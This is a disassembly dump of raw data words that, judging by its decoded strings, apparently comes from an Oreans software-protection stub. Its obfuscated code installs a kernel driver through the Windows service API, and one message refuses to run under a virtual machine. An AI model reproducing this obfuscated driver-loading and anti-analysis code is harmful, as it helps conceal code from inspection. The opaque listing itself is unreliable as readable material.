		dd 80000000h, 0F000000h, 88Dh, 52505100h, 585A310Fh, 0BE95059h
		dd 0D8000000h, 309E551Dh, 5E189BE2h, 448BE8A6h,	1BBE0424h
		dd 8B5826A4h, 14E800h, 0EB530000h, 95CCBAAAh, 0B0D197BFh
		dd 16921481h, 1D4AB1CCh, 8959855Fh, 0BA042444h,	7CA00757h
		dd 0D2B70F58h, 6A036Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 3B962DC3h, 41958B4Bh, 6A061B22h
		dd 0D6816600h, 36A7278h, 14E9h,	8F45F500h, 4F7DF748h, 9AC0AE5Bh
		dd 0D4EBC5E7h, 0CBDBABF1h, 0E5B531A1h, 68061B2Bh, 664BCCEEh
		dd 14E8h, 0ABA8F600h, 0ED302F40h, 6F7AB4Dh, 0CD8588A5h
		dd 0D6586284h, 13E8E0h,	7CC50000h, 73C413C9h, 3B021BBAh
		dd 83F5B507h, 5BE3673Fh, 5F5A5312h, 2404815Eh, 59B43312h
		dd 5E9h, 0EBA01100h, 9D8DB1A1h,	61DA7C7h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0EFC35040h, 19D2F850h
		dd 0A9BD8B60h, 0F061B03h, 68Ah,	0D858B00h, 61061B22h, 9464EBBEh
		dd 0AE948h, 6FAB0000h, 0EE628Ah, 23F23E20h, 0DE8A6093h
		dd 5061CB8Bh, 93CB8B66h, 0FFFB8B66h, 0EE8D0h, 9B970000h
		dd 0ED9B5DBFh, 6AC49C56h, 2A1F24A5h, 0D5B2B966h, 850F405Eh
		dd 18h,	5879C680h, 6E9h, 0F51FB500h, 0E97D9C65h, 162h
		dd 32B9B966h, 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 4559A3C3h, 34A301BBh, 816685EBh
		dd 8950A3CEh, 1B2975B5h, 0AFBF4B06h, 5849EA71h,	8E5B509h
		dd 85C6061Bh, 61B239Dh,	19BD0B43h, 68061B18h, 0C7D73001h
		dd 3481D08Ah, 0A17AA624h, 61BD8907h, 0FF061B01h, 1B2BF9B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8E95452h, 66000000h, 1101993Ch, 60A64C27h
		dd 0E925DC80h, 9, 138EC0A2h, 0F8A24C03h, 858D6114h, 61B391Fh
		dd 0A01B1FBFh, 6AD0FF73h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B20C357h, 0DE893CEh
		dd 8F000000h, 0C52CF095h, 0B3303502h, 0BE9E5B5Fh, 6093505Fh
		dd 24D5B58Bh, 10E9061Bh, 0C6000000h, 17A9EBFh, 0E17BEC6Ch
		dd 831E448Ah, 611E4DDEh, 0FFD7B70Fh, 57006AD0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 53387D76h
		dd 985BD89h, 8D5F061Bh,	1B71049Dh, 1B8F506h, 56000000h
		dd 0C3B70F60h, 13E9h, 0B5015500h, 2A6AA34Fh, 0ACB75034h
		dd 8107072Dh, 0FD647B81h, 0E3FF5961h, 2E059589h, 0C18B061Bh
		dd 8BF3B70Fh, 8D8956C0h, 61B3231h, 83C88B5Eh, 1B23D1BDh
		dd 9750006h, 3129BD83h,	7400061Bh, 8B535019h, 40FB8C0h
		dd 85890000h, 61B2131h,	0A6B49D8Dh, 0D3FF061Dh,	0BD83585Bh
		dd 61B3129h, 50177400h,	40FB853h, 85890000h, 61B2131h
		dd 0A3559D8Dh, 0D3FF061Dh, 8A53585Bh, 0F58A5AD5h, 29199501h
		dd 0C08B061Bh, 99E9h, 75622F00h, 65686367h, 326B63h, 6775622Fh
		dd 63656863h, 662F006Bh, 6563726Fh, 6E7572h, 6775622Fh
		dd 63656863h, 6C75666Bh, 732F006Ch, 63776F68h, 65646Fh
		dd 6F68732Fh, 646F6377h, 2F003265h, 74726C63h, 69642F00h
		dd 2F003173h, 776F6873h, 74736E69h, 65636E61h, 65672F00h
		dd 736C7774h, 75746174h, 6C2F0073h, 7473676Fh, 73757461h
		dd 75642F00h, 7473706Dh, 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 61DAF48h, 0A840F00h,	0C7000000h, 1B312985h, 106h, 9D85C600h
		dd 47061B23h, 0B5222068h, 24048140h, 4FB84A6Dh,	2BF9B5FFh
		dd 858D061Bh, 61B391Fh,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 0C8B58D00h, 0E8061DAEh, 225h, 0AF5DBD03h
		dd 0BD83061Dh, 61DAF5Dh, 0B840F00h, 0C7000000h,	1B23D185h
		dd 106h, 0B58DC300h, 61DAED3h, 1FCE8h, 5DBD0300h, 83061DAFh
		dd 1DAF5DBDh, 840F0006h, 0Bh, 312985C7h, 1061Bh, 8DC30000h
		dd 1DAF4CB5h, 1D3E806h,	0BD030000h, 61DAF5Dh, 0AF5DBD83h
		dd 0F00061Dh, 0B84h, 0E585C700h, 1061B25h, 0C3000000h
		dd 0AEDDB58Dh, 0AAE8061Dh, 3000001h, 1DAF5DBDh,	5DBD8306h
		dd 61DAFh, 0B840Fh, 85C70000h, 61B3129h, 1, 0E7B58DC3h
		dd 0E8061DAEh, 181h, 0AF5DBD03h, 0BD83061Dh, 61DAF5Dh
		dd 15840F00h, 0C7000000h, 1B312985h, 106h, 0D185C700h
		dd 1061B23h, 0C3000000h, 0AEF5B58Dh, 4EE8061Dh,	3000001h
		dd 1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h, 61B12FDh
		dd 1, 0AEFFB58Dh, 26E8061Dh, 3000001h, 1DAF5DBDh, 5DBD8306h
		dd 61DAFh, 0A840Fh, 85C70000h, 61B12FDh, 1, 0AF0AB58Dh
		dd 0FEE8061Dh, 3000000h, 1DAF5DBDh, 5DBD8306h, 61DAFh
		dd 0A840Fh, 85C70000h, 61B1089h, 1, 0AF10B58Dh,	0D6E8061Dh
		dd 3000000h, 1DAF5DBDh,	5DBD8306h, 61DAFh, 0A840Fh, 85C70000h
		dd 61B0681h, 1,	0AF16B58Dh, 0AEE8061Dh,	3000000h, 1DAF5DBDh
		dd 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h, 61B03ADh, 1
		dd 0AF24B58Dh, 86E8061Dh, 3000000h, 1DAF5DBDh, 5DBD8306h
		dd 61DAFh, 0A840Fh, 85C70000h, 61B2EE1h, 1, 0AF31B58Dh
		dd 5EE8061Dh, 3000000h,	1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh
		dd 85C70000h, 61B110Dh,	1, 0AF3CB58Dh, 36E8061Dh, 3000000h
		dd 1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h, 61B1B71h
		dd 1, 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh
		dd 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h
		dd 5850F00h, 0B9000000h, 0
		dd 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h, 8840F00h
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 61DAF5Dh, 0AE9h,	5D85C700h
		dd 61DAFh, 61000000h, 0E8C88BC3h, 10h, 0E4A752DCh, 0BB256D5Bh
		dd 79A661A1h, 0FE2EBE37h, 1FD858Bh, 895E061Bh, 1B00F595h
		dd 0E1C68106h, 0F000072h, 0BFDEBFh, 89000000h, 1B004595h
		dd 3E0C8B06h, 16C9958Bh, 0E981061Bh, 176D1917h,	5BD2B60h
		dd 89061B24h, 1B166985h, 0F1816106h, 0B9FE6F8h,	81C3B70Fh
		dd 61233E9h, 91858B53h,	89061B12h, 0EB813E0Ch, 5BE6AF0Fh
		dd 16A18D89h, 0EF83061Bh, 0ACB75104h, 0B8FF815Ah, 0FFFFF8Dh
		dd 0FFFFAC85h, 13E9FFh,	36430000h, 0D472DE6Eh, 568C5E3Eh
		dd 0AA52F1BDh, 2F4121Bh, 20EE9CEh, 43330000h, 6F6E6E61h
		dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h
		dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h
		dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh
		dd 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 9D85C600h, 47061B23h, 0E45B8668h, 0F9B5FFE3h
		dd 8D061B2Bh, 1B391F85h, 68D0FF06h, 104h, 0F459D8Dh, 0FF53061Bh
		dd 0B58D50D0h, 61DB575h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 61B239Dh, 6EFC6843h
		dd 0B5FFBC8Eh, 61B2BF9h, 391F858Dh, 0D0FF061Bh,	0F45B58Dh
		dd 6A061Bh, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 9D85C6D8h, 57061B23h, 9BEE5668h, 0F9B5FFA6h,	8D061B2Bh
		dd 1B391F85h, 8DD0FF06h, 1B0019BDh, 9B8D8D06h, 6A061DB6h
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 1DB37DB5h, 7C858D06h, 0FF061D9Fh, 48D8DD0h, 0B8061B71h
		dd 0
		dd 85C6E1FFh, 61B239Dh,	4AA76843h, 0B5FFC076h, 61B2BF9h
		dd 391F858Dh, 0D0FF061Bh, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 0C48B0000h, 8810Fh, 0F570000h, 81h, 85895900h, 61B1C79h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h
		dd 0F3CDCFDh, 0E8Ah, 9D296000h,	61B1CB5h, 2A0D9589h, 8B61061Bh
		dd 9E9C0h, 0A6010000h, 4C2C0919h, 83582CB5h, 1B23D1BDh
		dd 9750006h, 3129BD83h,	7400061Bh, 8B535019h, 43DB8C0h
		dd 85890000h, 61B2DA1h,	0A64D9D8Dh, 0D3FF061Dh,	0BD83585Bh
		dd 61B3129h, 50177400h,	43DB853h, 85890000h, 61B2DA1h
		dd 0A33C9D8Dh, 0D3FF061Dh, 6A585Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 935B82C3h
		dd 549C066Ch, 418D8B66h, 66061B13h, 8529FE8Bh, 61B1259h
		dd 8D33C08Bh, 61B01E9h,	0BD89C08Bh, 61B256Dh, 0E412EA81h
		dd 0BD837283h, 61B23D1h, 83097500h, 1B3129BDh, 13740006h
		dd 0C08B5350h, 0B8h, 0EF9D8D00h, 0FF061DA4h, 83585BD3h
		dd 1B3129BDh, 11740006h, 0B85350h, 8D000000h, 1DA3A09Dh
		dd 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0CE9C7C0h, 0CC000000h, 773C44E0h
		dd 88A07890h, 66501536h, 0BA365ABAh, 74972515h,	13E8C08Bh
		dd 0DD000000h, 0B94FAB25h, 40C05436h, 8923D22Ah, 0B0236B10h
		dd 958B3C63h, 61B3191h,	8BC08B59h, 1B227DBDh, 0D1BD8306h
		dd 61B23h, 0BD830975h, 61B3129h, 50137400h, 0B8C08B53h
		dd 0
		dd 0A4219D8Dh, 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50117400h
		dd 0B853h, 9D8D0000h, 61DA36Eh,	585BD3FFh, 6820Fh, 8D290000h
		dd 61B0F15h, 8F5B531h, 0C08B061Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0A5C35343h,	0FBA3FA0h, 1BAD8D8Bh
		dd 0BD03061Bh, 61B0F05h, 0B529C08Bh, 61B2C35h, 23D1BD83h
		dd 7500061Bh, 29BD8309h, 61B31h, 53501374h, 0B8C08Bh, 8D000000h
		dd 1DA4889Dh, 5BD3FF06h, 29BD8358h, 61B31h, 53501174h
		dd 0B8h, 879D8D00h, 0FF061DA3h,	0BF585BD3h, 33150C90h
		dd 14E9h, 81E92F00h, 0CDC85C13h, 0DD275809h, 8B90C004h
		dd 4CD3E35Fh, 51E28112h, 60334A51h, 0E781F48Ah,	74E5B1BBh
		dd 6AC08B61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 9B1FC353h, 0D2BA17A7h,	8B48F3DCh
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 75D54383h, 0E8F954D2h, 5, 0F4CDF5F7h, 0C1816657h
		dd 8359998Ah, 1B23D1BDh, 9750006h, 3129BD83h, 7400061Bh
		dd 8B535013h, 0B8C0h, 9D8D0000h, 61DA3BAh, 585BD3FFh, 959BD89h
		dd 0DE9061Bh, 98000000h, 0E8199737h, 0AD011D2Ch, 55610E3Ch
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 9F296FC3h, 0E980C08Bh, 0D1BD83A2h, 61B23h
		dd 0BD830975h, 61B3129h, 50197400h, 0B8C08B53h,	7D0h, 2DA18589h
		dd 9D8D061Bh, 61DA64Dh,	585BD3FFh, 3129BD83h, 7400061Bh
		dd 0B8535017h, 7D0h, 2DA18589h,	9D8D061Bh, 61DA33Ch, 585BD3FFh
		dd 66FBB70Fh, 0C08BD38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0ECC35343h, 9569BF66h, 9D85C6FCh, 53061B23h
		dd 5E9h, 8672D000h, 906838F8h, 6A99395Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 340EC357h
		dd 2CD5C8D4h, 0C9C28166h, 0F9B5FF9Fh, 81061B2Bh, 9F2F8D9h
		dd 1F858D33h, 0E8061B39h, 14h, 630027A5h, 0E667CCCCh, 0F291507Eh
		dd 6B6B980Ch, 51439FBCh, 60D98166h, 0D0FF59E3h,	1675B589h
		dd 8589061Bh, 61B2F85h,	24818D89h, 85C6061Bh, 61B239Dh
		dd 11E857h, 28C00000h, 0A2FDDE73h, 31A7A57Fh, 664492E2h
		dd 0E9D54D9Fh, 14h, 3ECA620Eh, 8EA04EF4h, 0E2990F33h, 0FAE14BAAh
		dd 0FAC78DA9h, 8128B95Ah, 66868A4h, 0E8900452h,	0Bh, 0E9AF98D0h
		dd 0DE3C101h, 59C50EB8h, 2BF9B5FFh, 0BE9061Bh, 0AB000000h
		dd 41FF4786h, 34F26920h, 858DF478h, 61B391Fh, 0EC9BD89h
		dd 0D0FF061Bh, 0F9DA8166h, 5858940h, 6A061B08h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 8B87C357h, 9589A2B4h, 61B1219h, 239D85C6h, 6A43061Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 3BA5C357h, 0CD958B52h, 5A061B18h,	3199B589h
		dd 2868061Bh, 66BC9070h, 0FFFE0ABAh, 1B2BF9B5h,	0DD958906h
		dd 8D061B0Eh, 1B391F85h, 398D2306h, 0FF061B00h,	0CF8B66D0h
		dd 2BE18589h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 596457C3h, 0DD38F480h, 518D03BFh
		dd 8B061B07h, 1B02A195h, 9D85C606h, 4C061B23h, 2595BD01h
		dd 0E968061Bh, 6AD9DA1Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A1BEC353h,	0C0CB2C0Eh
		dd 2E7FB951h, 0AE800E7h, 6A000000h, 0E081047Ch,	24A622E3h
		dd 0D38B60E6h, 35DB533h, 5A61061Bh, 2BF9B5FFh, 0B589061Bh
		dd 61B0865h, 391F858Dh,	0BF0F061Bh, 8BD0FFD3h, 1B041195h
		dd 71858906h, 6A061B1Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FDCC357h, 85C6D3BFh
		dd 61B239Dh, 8BCB8B46h,	1B076195h, 6146806h, 0ECB1BADEh
		dd 2BF9B5FFh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 1C3098C3h, 890F602Fh, 6,	0BC9858Bh
		dd 0C480061Bh, 858D611Ch, 61B391Fh, 60F9B70Fh, 0EE8h, 150DEE00h
		dd 3C195325h, 4895177Ah, 8930FCFDh, 1B11B18Dh, 0FF615906h
		dd 8589F5D0h, 61B2539h,	0D89958Bh, 85C6061Bh, 61B239Dh
		dd 0BDB96647h, 0B5E268E0h, 6A8A0Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0E5B6DBC3h
		dd 880Fh, 0B5FF0000h, 61B2BF9h,	12E8h, 0FF165700h, 1D330446h
		dd 0DCE9900Eh, 749C2668h, 8021C615h, 8D59FCF6h,	1B391F85h
		dd 4E22BA06h, 0D0FF7095h, 1059D29h, 8589061Bh, 61B2F2Dh
		dd 2295BD8Bh, 8D89061Bh, 61B2F81h, 239D85C6h, 6647061Bh
		dd 0F368FA8Bh, 6A83D0B5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 2398C357h, 0F9B5FFCFh
		dd 0E9061B2Bh, 0Bh, 64958B36h, 3CDA0E67h, 8D6E3C8Dh, 1B391F85h
		dd 0BFC68006h, 9E9D0FFh, 0D2000000h, 1A2B305Dh,	75854021h
		dd 2C1D8589h, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B5A759C3h, 8EA95D15h, 6062259Ah
		dd 5860Fh, 70B90000h, 6047A43Dh, 0B58BDD8Ah, 61B326Dh
		dd 85C66161h, 61B239Dh,	0BE877h, 38000000h, 303A3C59h
		dd 8C19038Eh, 5AFB8B1Bh, 97A8A368h, 11BD89F3h, 0FF061B0Eh
		dd 1B29B5B5h, 0D9816606h, 858D9DEAh, 61B391Fh, 0FFD7BF0Fh
		dd 0D38DBFD0h, 85897C55h, 61B2D71h, 3A1BD8Bh, 85C6061Bh
		dd 61B239Dh, 2FE28047h,	28FAF668h, 0F9B5FF87h, 80061B2Bh
		dd 858D24E9h, 61B391Fh,	0DD18D8Bh, 0D0FF061Bh, 12A5BD01h
		dd 8589061Bh, 61B1695h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 37C35242h, 0FCE9707Ah, 0B59E01FCh, 0CE8B66BBh
		dd 239D85C6h, 0E943061Bh, 14h, 4C4C6BEh, 0FFE6109h, 4D1AFFBAh
		dd 85F3AFA2h, 0FBC4DB06h, 8E6EFC68h, 56006ABCh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0FE9013Fh
		dd 0CF000000h, 442B9A2Ch, 0E988B999h, 0C846BB64h, 0B5FF6687h
		dd 61B2BF9h, 0A3CAEA81h, 858D121Bh, 61B391Fh, 0D0FF37B5h
		dd 0FE9h, 89AA7800h, 0F373ABE9h, 265D4089h, 46973EBFh
		dd 2B218589h, 85C6061Bh, 61B239Dh, 0DF816645h, 6968065Fh
		dd 0E98E7269h, 7, 0EFFB6429h, 0FF72DC8Bh, 1B2BF9B5h, 14E806h
		dd 0FDA10000h, 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh
		dd 59F93EADh, 391F858Dh, 0B589061Bh, 61B2385h, 0CE9D0FFh
		dd 7D000000h, 1CDCDDEFh, 22B05C1Bh, 89106CA5h, 1B2FBD85h
		dd 10E906h, 479D0000h, 2D9941Ch, 7B947681h, 55183889h
		dd 86BAC92Bh, 0C62651FEh, 1B239D85h, 19BA4406h,	5348C897h
		dd 0E198D29h, 6859061Bh, 0B8F2EC64h, 0CDA9BF66h, 2BF9B5FFh
		dd 860F061Bh, 5, 0AAE28166h, 1F858DCEh,	6A061B39h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6419C356h, 31A8ECABh, 60FB8B66h, 7E9h, 2CCB3800h, 0CF030496h
		dd 6AD0FF61h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0FEEFC356h, 23FC568Dh, 25858913h, 66061B30h,	8B32B3B9h
		dd 1B0859BDh, 9D85C606h, 43061B23h, 68D0BF0Fh, 0C0764AA7h
		dd 49958B52h, 59061B30h, 2BF9B5FFh, 0CF81061Bh,	4C19BDEBh
		dd 391F858Dh, 958B061Bh, 61B211Dh, 840FD0FFh, 6, 0C01958Bh
		dd 8589061Bh, 61B1A09h,	9BEDBA66h, 0FA5EBD80h, 0F00061Dh
		dd 0AB84h, 8B666000h, 0E1F781F2h, 61028797h, 0FA40858Dh
		dd 0FE8061Dh, 0FB000000h, 0A92E0315h, 0EF15CF39h, 1E81DA85h
		dd 958989F6h, 61B2915h,	8E8505Ah, 5C000000h, 5809CDC8h
		dd 8B04DD27h, 1B2FE195h, 0B9665A06h, 16A41DAh, 1661BD89h
